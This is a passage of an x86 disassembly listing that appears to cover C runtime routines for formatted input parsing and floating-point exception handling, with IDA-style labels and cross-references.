dl movzx esi, al sub esi, edx inc esi loc_421377: ; CODE XREF: sub_420DB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_421377 loc_42138F: ; CODE XREF: sub_420DB0+5BCj xor dl, dl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420DB0+5A0j ; sub_420DB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_4213AC: ; CODE XREF: sub_420DB0+59Bj cmp byte ptr [edi], 0 jz loc_4217B6 cmp [ebp+var_3C], 7Bh jnz short loc_4213BE mov [ebp+arg_4], edi loc_4213BE: ; CODE XREF: sub_420DB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421826 pop ecx pop ecx loc_4213D5: ; CODE XREF: sub_420DB0+6BCj ; sub_420DB0+6C4j cmp [ebp+var_20], 0 jz short loc_4213E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421485 loc_4213E9: ; CODE XREF: sub_420DB0+629j inc [ebp+var_4] push edi call sub_42180C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421479 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421479 cmp [ebp+var_E], 0 jnz short loc_421471 cmp [ebp+var_16], 0 jz short loc_421466 mov ecx, off_43CE78 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421445 inc [ebp+var_4] push edi call sub_42180C pop ecx mov [ebp+var_37], al loc_421445: ; CODE XREF: sub_420DB0+686j push dword_43D084 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246CB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421469 ; --------------------------------------------------------------------------- loc_421466: ; CODE XREF: sub_420DB0+673j mov [esi], al inc esi loc_421469: ; CODE XREF: sub_420DB0+6B4j mov [ebp+var_2C], esi jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421471: ; CODE XREF: sub_420DB0+66Dj inc [ebp+var_30] jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420DB0+649j ; sub_420DB0+667j dec [ebp+var_4] push edi push eax call sub_421826 pop ecx pop ecx loc_421485: ; CODE XREF: sub_420DB0+633j cmp [ebp+var_30], esi jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421717 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4214B7 and word ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214B7: ; CODE XREF: sub_420DB0+6FCj and byte ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420DB0+466j mov [ebp+var_D], 1 loc_4214C3: ; CODE XREF: sub_420DB0+203j ; sub_420DB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4214D1 mov [ebp+var_17], 1 jmp short loc_4214D6 ; --------------------------------------------------------------------------- loc_4214D1: ; CODE XREF: sub_420DB0+719j cmp ebx, 2Bh jnz short loc_4214F8 loc_4214D6: ; CODE XREF: sub_420DB0+71Fj dec [ebp+var_C] jnz short loc_4214E7 cmp [ebp+var_20], 0 jz short loc_4214E7 mov [ebp+var_F], 1 jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214E7: ; CODE XREF: sub_420DB0+729j ; sub_420DB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax loc_4214F5: ; CODE XREF: sub_420DB0+543j mov [ebp+var_14], ebx loc_4214F8: ; CODE XREF: sub_420DB0+4FDj ; sub_420DB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421611 cmp [ebp+var_F], 0 jnz loc_4215EF loc_42150C: ; CODE XREF: sub_420DB0+82Cj cmp esi, 78h jnz short loc_421560 cmp dword_43D084, 1 jle short loc_421529 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421529: ; CODE XREF: sub_420DB0+768j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421536: ; CODE XREF: sub_420DB0+777j test eax, eax jz loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4215B3 ; --------------------------------------------------------------------------- loc_421560: ; CODE XREF: sub_420DB0+75Fj cmp dword_43D084, 1 jle short loc_421575 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421575: ; CODE XREF: sub_420DB0+7B7j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421580: ; CODE XREF: sub_420DB0+7C3j test eax, eax jz short loc_4215E1 cmp esi, 6Fh jnz short loc_42159E cmp ebx, 38h jge short loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247A0 jmp short loc_4215AD ; --------------------------------------------------------------------------- loc_42159E: ; CODE XREF: sub_420DB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DB20 loc_4215AD: ; CODE XREF: sub_420DB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4215B3: ; CODE XREF: sub_420DB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4215CB dec [ebp+var_C] jz short loc_4215EF loc_4215CB: ; CODE XREF: sub_420DB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42150C ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_420DB0+788j ; sub_420DB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4215EF: ; CODE XREF: sub_420DB0+756j ; sub_420DB0+819j cmp [ebp+var_17], 0 jz loc_4216D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4216D5 ; --------------------------------------------------------------------------- loc_421611: ; CODE XREF: sub_420DB0+74Cj cmp [ebp+var_F], 0 jnz loc_4216CD loc_42161B: ; CODE XREF: sub_420DB0+90Aj cmp esi, 78h jz short loc_42165F cmp esi, 70h jz short loc_42165F cmp dword_43D084, 1 jle short loc_42163A push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421645 ; --------------------------------------------------------------------------- loc_42163A: ; CODE XREF: sub_420DB0+87Cj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421645: ; CODE XREF: sub_420DB0+888j test eax, eax jz short loc_4216BF cmp esi, 6Fh jnz short loc_421658 cmp ebx, 38h jge short loc_4216BF shl edi, 3 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_421658: ; CODE XREF: sub_420DB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_42165F: ; CODE XREF: sub_420DB0+86Ej ; sub_420DB0+873j cmp dword_43D084, 1 jle short loc_421677 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421684 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_420DB0+8B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421684: ; CODE XREF: sub_420DB0+8C5j test eax, eax jz short loc_4216BF push ebx shl edi, 4 call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421697: ; CODE XREF: sub_420DB0+8A6j ; sub_420DB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4216A9 dec [ebp+var_C] jz short loc_4216CD loc_4216A9: ; CODE XREF: sub_420DB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42161B ; --------------------------------------------------------------------------- loc_4216BF: ; CODE XREF: sub_420DB0+897j ; sub_420DB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4216CD: ; CODE XREF: sub_420DB0+865j ; sub_420DB0+8F7j cmp [ebp+var_17], 0 jz short loc_4216D5 neg edi loc_4216D5: ; CODE XREF: sub_420DB0+843j ; sub_420DB0+85Cj ... cmp esi, 46h jnz short loc_4216DE and [ebp+var_1C], 0 loc_4216DE: ; CODE XREF: sub_420DB0+928j cmp [ebp+var_1C], 0 jz loc_4217B6 cmp [ebp+var_E], 0 jnz short loc_421717 inc [ebp+var_34] loc_4216F1: ; CODE XREF: sub_420DB0+23Bj cmp [ebp+var_30], 0 jz short loc_421707 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_420DB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421714 mov [eax], edi jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421714: ; CODE XREF: sub_420DB0+95Ej mov [eax], di loc_421717: ; CODE XREF: sub_420DB0+241j ; sub_420DB0+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421722: ; CODE XREF: sub_420DB0+93j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421791 mov ecx, off_43CE78 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421764 inc [ebp+var_4] push edi call sub_42180C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42179F dec [ebp+var_4] loc_421764: ; CODE XREF: sub_420DB0+970j ; sub_420DB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42177A cmp byte ptr [esi], 25h jnz short loc_4217BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4217BC mov esi, eax loc_42177A: ; CODE XREF: sub_420DB0+9B8j mov al, [esi] test al, al jnz loc_420DDA jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_421786: ; CODE XREF: sub_420DB0+1F4j ; sub_420DB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421796 ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: sub_420DB0+98Aj dec [ebp+var_4] push edi push ebx loc_421796: ; CODE XREF: sub_420DB0+9DFj call sub_421826 pop ecx pop ecx jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_42179F: ; CODE XREF: sub_420DB0+9AFj dec [ebp+var_4] push edi push eax call sub_421826 dec [ebp+var_4] push edi push ebx call sub_421826 add esp, 10h loc_4217B6: ; CODE XREF: sub_420DB0+1Fj ; sub_420DB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4217CD loc_4217BC: ; CODE XREF: sub_420DB0+9BDj ; sub_420DB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4217D0 cmp [ebp+var_15], al jnz short loc_4217D0 or eax, 0FFFFFFFFh jmp short loc_4217D0 ; --------------------------------------------------------------------------- loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj mov eax, [ebp+var_34] loc_4217D0: ; CODE XREF: sub_420DB0+A11j ; sub_420DB0+A16j ... pop edi pop esi pop ebx leave retn sub_420DB0 endp ; =============== S U B R O U T I N E ======================================= sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p ; sub_420DB0+8DCp arg_0 = dword ptr 4 cmp dword_43D084, 1 push esi jle short loc_4217EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_4217FE ; --------------------------------------------------------------------------- loc_4217EF: ; CODE XREF: sub_4217D5+8j mov esi, [esp+4+arg_0] mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_4217FE: ; CODE XREF: sub_4217D5+18j test eax, eax jnz short loc_421808 and esi, 0FFFFFFDFh sub esi, 7 loc_421808: ; CODE XREF: sub_4217D5+2Bj mov eax, esi pop esi retn sub_4217D5 endp ; =============== S U B R O U T I N E ======================================= sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p ; sub_420DB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42181E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42181E: ; CODE XREF: sub_42180C+7j push edx call sub_41F8E3 pop ecx retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp ; sub_420DB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42183C push [esp+arg_4] push [esp+4+arg_0] call sub_4247BF pop ecx pop ecx locret_42183C: ; CODE XREF: sub_421826+5j retn sub_421826 endp ; =============== S U B R O U T I N E ======================================= sub_42183D proc near ; CODE XREF: sub_420DB0+63p ; sub_420DB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421843: ; CODE XREF: sub_42183D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42180C mov edi, eax push edi call sub_41DF10 pop ecx test eax, eax pop ecx jnz short loc_421843 mov eax, edi pop edi pop esi retn sub_42183D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421861(int,int,double,int) sub_421861 proc near ; CODE XREF: sub_41D055+51p ; sub_41D19B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D7F0, 0 jnz short loc_421896 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421E16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421896: ; CODE XREF: sub_421861+Aj push 0FFFFh mov dword_4DBDDC, 21h push [ebp+arg_C] call sub_422089 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218B4(int,int,double,double,int) sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p ; sub_41D19B:loc_41D25Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421BFF add esp, 0Ch test eax, eax jnz short loc_4218F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42194C add esp, 18h loc_4218F2: ; CODE XREF: sub_4218B4+1Aj push [ebp+arg_0] call sub_421EE9 cmp dword_43D7F0, 0 pop ecx jnz short loc_421930 test eax, eax jz short loc_421930 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421E16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421930: ; CODE XREF: sub_4218B4+4Ej ; sub_4218B4+52j push eax call sub_421E9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_422089 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4218B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42194C proc near ; CODE XREF: sub_4218B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42197E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42197E: ; CODE XREF: sub_42194C+23j test cl, 2 jz short loc_421991 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421991: ; CODE XREF: sub_42194C+35j test cl, bl jz short loc_4219A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4219A3: ; CODE XREF: sub_42194C+47j test cl, 4 jz short loc_4219B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4219B6: ; CODE XREF: sub_42194C+5Aj test cl, 8 jz short loc_4219C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4219C9: ; CODE XREF: sub_42194C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42206C test al, bl jz short loc_421A52 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421A52: ; CODE XREF: sub_42194C+FDj test al, 4 jz short loc_421A5D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421A5D: ; CODE XREF: sub_42194C+108j test al, 8 jz short loc_421A68 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421A68: ; CODE XREF: sub_42194C+113j test al, 10h jz short loc_421A72 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421A72: ; CODE XREF: sub_42194C+11Ej test al, 20h jz short loc_421A7C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421A7C: ; CODE XREF: sub_42194C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421ABB cmp eax, 400h jz short loc_421AAD cmp eax, 800h jz short loc_421AA1 cmp eax, ecx jnz short loc_421AC1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421AA1: ; CODE XREF: sub_42194C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421AB7 ; --------------------------------------------------------------------------- loc_421AAD: ; CODE XREF: sub_42194C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421AB7: ; CODE XREF: sub_42194C+15Fj mov [eax], ecx jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: sub_42194C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421AC1: ; CODE XREF: sub_42194C+14Bj ; sub_42194C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421AEC cmp eax, 200h jz short loc_421ADF cmp eax, ecx jnz short loc_421AF9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421AF9 ; --------------------------------------------------------------------------- loc_421ADF: ; CODE XREF: sub_42194C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421AF7 ; --------------------------------------------------------------------------- loc_421AEC: ; CODE XREF: sub_42194C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421AF7: ; CODE XREF: sub_42194C+19Ej mov [eax], ecx loc_421AF9: ; CODE XREF: sub_42194C+189j ; sub_42194C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42207A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2650391h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421B73 and dword ptr [esi], 0FFFFFFFEh loc_421B73: ; CODE XREF: sub_42194C+222j test byte ptr [eax+8], 8 jz short loc_421B7C and dword ptr [esi], 0FFFFFFFBh loc_421B7C: ; CODE XREF: sub_42194C+22Bj test byte ptr [eax+8], 4 jz short loc_421B85 and dword ptr [esi], 0FFFFFFF7h loc_421B85: ; CODE XREF: sub_42194C+234j test byte ptr [eax+8], 2 jz short loc_421B8E and dword ptr [esi], 0FFFFFFEFh loc_421B8E: ; CODE XREF: sub_42194C+23Dj test [eax+8], bl jz short loc_421B96 and dword ptr [esi], 0FFFFFFDFh loc_421B96: ; CODE XREF: sub_42194C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421BCA dec ecx jz short loc_421BBE dec ecx jz short loc_421BB4 dec ecx jnz short loc_421BCC or byte ptr [esi+1], 0Ch jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BB4: ; CODE XREF: sub_42194C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421BC6 ; --------------------------------------------------------------------------- loc_421BBE: ; CODE XREF: sub_42194C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421BC6: ; CODE XREF: sub_42194C+270j mov [esi], ecx jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BCA: ; CODE XREF: sub_42194C+257j and [esi], edx loc_421BCC: ; CODE XREF: sub_42194C+260j ; sub_42194C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421BEC dec ecx jz short loc_421BE3 dec ecx jnz short loc_421BF5 and [esi], edx jmp short loc_421BF5 ; --------------------------------------------------------------------------- loc_421BE3: ; CODE XREF: sub_42194C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421BF3 ; --------------------------------------------------------------------------- loc_421BEC: ; CODE XREF: sub_42194C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421BF3: ; CODE XREF: sub_42194C+29Ej mov [esi], ecx loc_421BF5: ; CODE XREF: sub_42194C+291j ; sub_42194C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BFF proc near ; CODE XREF: sub_4218B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421C2A test byte ptr [ebp+arg_8], bl jz short loc_421C2A push ebx call sub_4220AC pop ecx and edi, 0FFFFFFF7h jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C2A: ; CODE XREF: sub_421BFF+15j ; sub_421BFF+1Aj test al, 4 jz short loc_421C44 test byte ptr [ebp+arg_8], 4 jz short loc_421C44 push 4 call sub_4220AC pop ecx and edi, 0FFFFFFFBh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C44: ; CODE XREF: sub_421BFF+2Dj ; sub_421BFF+33j test al, bl jz loc_421D1E test byte ptr [ebp+arg_8], 8 jz loc_421D1E push 8 call sub_4220AC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421CF6 cmp ecx, 400h jz short loc_421CCE cmp ecx, 800h jz short loc_421CA6 cmp ecx, eax jnz loc_421D16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3F0 fnstsw ax sahf ja short loc_421C9E fchs loc_421C9E: ; CODE XREF: sub_421BFF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CA6: ; CODE XREF: sub_421BFF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CBE fld dbl_43D3E0 jmp short loc_421CC6 ; --------------------------------------------------------------------------- loc_421CBE: ; CODE XREF: sub_421BFF+B5j fld dbl_43D3F0 fchs loc_421CC6: ; CODE XREF: sub_421BFF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CCE: ; CODE XREF: sub_421BFF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CE6 fld dbl_43D3F0 jmp short loc_421CEE ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421BFF+DDj fld dbl_43D3E0 fchs loc_421CEE: ; CODE XREF: sub_421BFF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421BFF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3E0 fnstsw ax sahf ja short loc_421D0E fchs loc_421D0E: ; CODE XREF: sub_421BFF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421D14: ; CODE XREF: sub_421BFF+A5j ; sub_421BFF+CDj ... fstp qword ptr [ecx] loc_421D16: ; CODE XREF: sub_421BFF+81j and edi, 0FFFFFFFEh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421D1E: ; CODE XREF: sub_421BFF+47j ; sub_421BFF+51j test al, 2 jz loc_421DF4 test byte ptr [ebp+arg_8], 10h jz loc_421DF4 push esi xor esi, esi test al, 10h jz short loc_421D39 mov esi, ebx loc_421D39: ; CODE XREF: sub_421BFF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jz loc_421DE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421FAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421D84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421DD8 ; --------------------------------------------------------------------------- loc_421D84: ; CODE XREF: sub_421BFF+17Aj fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jnb short loc_421D96 mov edx, ebx jmp short loc_421D98 ; --------------------------------------------------------------------------- loc_421D96: ; CODE XREF: sub_421BFF+191j xor edx, edx loc_421D98: ; CODE XREF: sub_421BFF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], 